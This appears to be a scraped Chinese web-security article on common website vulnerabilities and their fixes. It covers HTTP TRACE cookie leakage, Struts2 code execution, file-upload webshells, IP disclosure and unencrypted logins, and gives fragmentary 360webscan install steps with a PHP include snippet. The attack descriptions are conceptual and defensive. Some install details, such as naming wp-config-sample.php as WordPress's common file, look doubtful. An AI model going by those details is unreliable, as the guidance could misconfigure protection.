    (3)口令不应该为连续的某个字符(例如:AAAAAAAA)或重复某些字符的组合(例如:tzf.tzf.)。 
    (4)口令应该为以下四类字符的组合,大写字母(A-Z)、小写字母(a-z)、数字(0-9)和特殊字符。每类字符至少包含一个。如果某类字符只包含一个,那么该字符不应为首字符或尾字符。 
    (5)口令中不应包含本人、父母、子女和配偶的姓名和出生日期、纪念日期、登录名、E-mail地址等等与本人有关的信息,以及字典中的单词。 
    (6)口令不应该为用数字或符号代替某些字母的单词。 
    (7)口令应该易记且可以快速输入,防止他人从你身后很容易看到你的输入。 
    (8)至少90天内更换一次口令,防止未被发现的入侵者继续使用该口令。

    四、HTTP报头追踪漏洞 
    HTTP/1.1(RFC2616)规范定义了HTTP TRACE方法,主要是用于客户端通过向Web服务器提交TRACE请求来进行测试或获得诊断信息。当Web服务器启用TRACE时,提交的请求头会在服务器响应的内容(Body)中完整的返回,其中HTTP头很可能包括Session Token、Cookies或其它认证信息。攻击者可以利用此漏洞来欺骗合法用户并得到他们的私人信息。该漏洞往往与其它方式配合来进行有效攻击,由于HTTP TRACE请求可以通过客户浏览器脚本发起(如XMLHttpRequest),并可以通过DOM接口来访问,因此很容易被攻击者利用。 
    防御HTTP报头追踪漏洞的方法通常禁用HTTP TRACE方法。

    五、Struts2远程命令执行漏洞 
    ApacheStruts是一款建立Java web应用程序的开放源代码架构。Apache Struts存在一个输入过滤错误,如果遇到转换错误可被利用注入和执行任意Java代码。 
    网站存在远程代码执行漏洞的大部分原因是由于网站采用了Apache Struts Xwork作为网站应用框架,由于该软件存在远程代码执高危漏洞,导致网站面临安全风险。CNVD处置过诸多此类漏洞,例如:“GPS车载卫星定位系统”网站存在远程命令执行漏洞(CNVD-2012-13934);Aspcms留言本远程代码执行漏洞(CNVD-2012-11590)等。 
    修复此类漏洞,只需到Apache官网升级Apache Struts到最新版本:http://struts.apache.org

    六、文件上传漏洞 
    文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的,如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,攻击者可通过 Web 访问的目录上传任意文件,包括网站后门文件(webshell),进而远程控制网站服务器。 
    因此,在开发网站及应用程序过程中,需严格限制和校验上传的文件,禁止上传恶意代码的文件。同时限制相关目录的执行权限,防范webshell攻击。

    七、私有IP地址泄露漏洞 
    IP地址是网络用户的重要标示,是攻击者进行攻击前需要了解的。获取的方法较多,攻击者也会因不同的网络情况采取不同的方法,如:在局域网内使用Ping指令,Ping对方在网络中的名称而获得IP;在Internet上使用IP版的QQ直接显示。最有效的办法是截获并分析对方的网络数据包。攻击者可以找到并直接通过软件解析截获后的数据包的IP包头信息,再根据这些信息了解具体的IP。 
    针对最有效的“数据包分析方法”而言,就可以安装能够自动去掉发送数据包包头IP信息的一些软件。不过使用这些软件有些缺点,譬如:耗费资源严重,降低计算机性能;访问一些论坛或者网站时会受影响;不适合网吧用户使用等等。现在的个人用户采用最普及隐藏IP的方法应该是使用代理,由于使用代理服务器后,“转址服务”会对发送出去的数据包有所修改,致使“数据包分析”的方法失效。一些容易泄漏用户IP的网络软件(QQ、MSN、IE等)都支持使用代理方式连接Internet,特别是QQ使用“ezProxy”等代理软件连接后,IP版的QQ都无法显示该IP地址。虽然代理可以有效地隐藏用户IP,但攻击者亦可以绕过代理,查找到对方的真实IP地址,用户在何种情况下使用何种方法隐藏IP,也要因情况而论。

    八、未加密登录请求 
    由于Web配置不安全,登陆请求把诸如用户名和密码等敏感字段未加密进行传输,攻击者可以窃听网络以劫获这些敏感信息。建议进行例如SSH等的加密后再传输。

    九、敏感信息泄露漏洞 
    SQL注入、XSS、目录遍历、弱口令等均可导致敏感信息泄露,攻击者可以通过漏洞获得敏感信息。针对不同成因,防御方式不同
    十、CSRF 




    展开全文
  • 跨站脚本Xss漏洞/sql注入漏洞/代码执行漏洞asp程序2.解压后,将文件放到公共文件(如数据库的连接文件)所在目录3.在公共文件页面中加入代码php:2.解压后,整个文件夹放到网站根目录3.在网站的一个公用文件(如数据库的...

    跨站脚本Xss漏洞/sql注入漏洞/代码执行漏洞

    asp程序

    2.解压后,将文件放到公共文件(如数据库的连接文件)所在目录

    3.在公共文件页面中加入代码

    php:

    2.解压后,整个文件夹放到网站根目录

    3.在网站的一个公用文件(如数据库的连接文件)中加入代码:

    if(is_file($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php')){

    require_once($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php');

    } // 注意文件路径

    常用PHP建站系统的公用页面

    PHPCMS :      \phpcms\base.php

    PHPWIND:     \phpwind\conf\baseconfig.php

    DEDECMS:     \data\common.inc.php

    Discuz:           \config\config_global.php

    Wordpress:    \wp-config-sample.php

    ECshop:         \data\config.php

    Metinfo:         \include\head.php

    HDwiki:          \config.php

    展开全文
  • web常见漏洞修复建议

    2021-04-19 14:11:30
    文章目录SQL注入OS命令注入XPath注入LDAP注入JSON注入XSSCSRF会话攻击身份认证直接对象引用Tomcat安全配置Apache安全配置数据库通用配置绕过认证越权访问文件上传文件目录遍历下载网站重定向或转发业务逻辑漏洞 ...
  • 攻击原理例如有一个论坛网站,攻击者可以在上面发布以下内容:之后该内容可能会被渲染成以下形式:另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 .....
  • 常见Web安全漏洞

    2018-11-21 18:38:00
    常见Web安全漏洞 1.web安全常见攻击手段 xss sql注入 防盗链 csrf 上传漏洞 2. 信息加密与漏洞扫描 对称加密 非对称加密 3. 互联网API接口安全设计 4. 网站安全漏洞扫描与抓包分析 5. Https...
  • Web常见漏洞及防范

    千次阅读 2017-09-29 09:53:46
    SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串中夹带的SQL指令的检查,被数据库误认为是正常的...
  • web常见漏洞基础原理

    千次阅读 2018-07-09 17:07:50
    概念 ...访问网站时触发,xss脚本存储在web服务器上 反射型 访问携带xss脚本链接时触发,在url上执行脚本 DOM型 访问携带xss脚本链接时触发,脚本通过JavaScript写入hash 三种类型区分 ...
  • web常见漏洞 SQL注入 跨站脚本攻击 XSS脚本攻击 IIS短文件/文件夹 敏感信息泄漏 总结性建议 针对上面发现的问题,提出下面几条建议。 1)在服务器与网络的接口处配置防火墙,用于阻断外界用户对服务器的扫描...
  • 十大常见web漏洞

    2019-06-18 00:02:43
    十大常见web漏洞 一、SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据...
  • 常见Web源码泄漏漏洞及其利用

    千次阅读 2020-02-28 16:59:53
    Web源码泄露的漏洞:git源码泄露svn源码泄露hg源码泄漏网站备份压缩文件WEB-INF/web.xml泄露DS_Store 文件泄露SWP 文件泄露CVS泄露Bzr泄露GitHu...
  • web常见安全漏洞及解决方案

    千次阅读 2018-04-08 20:49:48
    汇总:Web安全测试中常见逻辑漏洞解析(实战篇) 一,XSS(跨站脚本攻击)XSS 跨站脚本攻击 的防御解决方案 XSS攻击及防御 二,CSRF(跨站点请求伪造) CSRF攻击与防御(写得非常好) spring-security中的csrf防御...
  • SQL注入漏洞SQL注入漏洞产生原因及危害在sql查询中很多程序员会将变量拼接入sql语句后再进行查询,这样如果黑客在参数中插入其他sql语句就可能导致我们网站的密码被被黑客查询出来或者...
  • 常见web漏洞及防范

    千次阅读 2020-12-02 09:40:09
    十大常见web漏洞 一、SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串中夹带的SQL...
  • 常见WEB漏洞原理分析

    千次阅读 2019-08-09 11:47:05
    SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串中夹带的SQL指令的检查,被数据库误认为是正常的...
  • 文件上传漏洞(FileUploadAttack)是由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过Web访问的目录上传任意PHP文件,并能够将这些文件传递给PHP解释器,就可以在...
  • SQL注入的产生,SQL注入是由WEB页面端向数据库端提交查询请求,但因提交查询请求时,代码过滤不严谨,在WEB网站进行查询时,可以插入恶意的SQL代码,注入到数据库,产生恶意的查询,所以产生了SQL注入漏洞。...
  • web漏洞常见分析

    2013-08-16 11:20:04
    1、xss跨站脚本  攻击过程: 类型A:A给B发送了一个恶意构造的URL,B打开了这个URL ,恶意页面中的javascript打开了一个具有漏洞的html,并将其安装在B的... Alice经常浏览某个网站,此网站为Bob所拥有。Bob的站点
  • 十大常见web漏洞及防范

    万次阅读 多人点赞 2018-07-29 12:37:33
    十大常见web漏洞 一、SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串中夹带的SQL...
  • XSS是一种常见web安全漏洞,它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。这个是动态站点的威胁,静态站点完全不受其影响。XSS分类存储型XSS:主要出现在让用户输入数据,供其他浏览此页的用户进行.....
  • 网站设计者在设计网站时,一般将大多数精力都花在考虑满足用户应用,如何实现业务等方面,而很少...网站渗透测试,也称为网站安全检测、网站安全测试、Web安全检测、网站安全评估、网站漏洞测试等。 它是一项为了防...
  • Web安全-常见漏洞危害及定义

    千次阅读 2018-03-19 11:33:32
    一,Web 服务端安全1.SQL 注入攻击名词解释:SQL 注入攻击(SQL Injection ),简称注入攻击,SQL 注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。由于在设计程序时,忽略了对输入...
  • 常见Web安全漏洞及防范一、SQL注入漏洞二、跨站脚本漏洞三、弱口令漏洞四、HTTP报头追踪漏洞五、Struts2远程命令执行漏洞六、文件上传漏洞七、私有IP地址泄露漏洞八、未加密登录请求九、敏感信息泄露漏洞 ...
  • Struts2漏洞介绍ApacheStruts是一款建立Java web应用程序的开放源代码架构。Apache Struts存在一个输入过滤错误,如果遇到转换错误可被利用注入和执行任意Java代码。网站存在Struts2远程代码执行漏洞(CV...
  • 常见web安全漏洞

    千次阅读 2018-11-13 00:57:09
    1. cookie重要性 cookie是浏览器用来判断用户登录状态的。一旦cookie被窃取,相当于别人...假设这么一种情形,你登录了某银行网站,没有关闭,就访问了另一个病毒网站,这个网站的javascript读取了你银行网站的co...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,006
精华内容 402
关键字:

web网站常见漏洞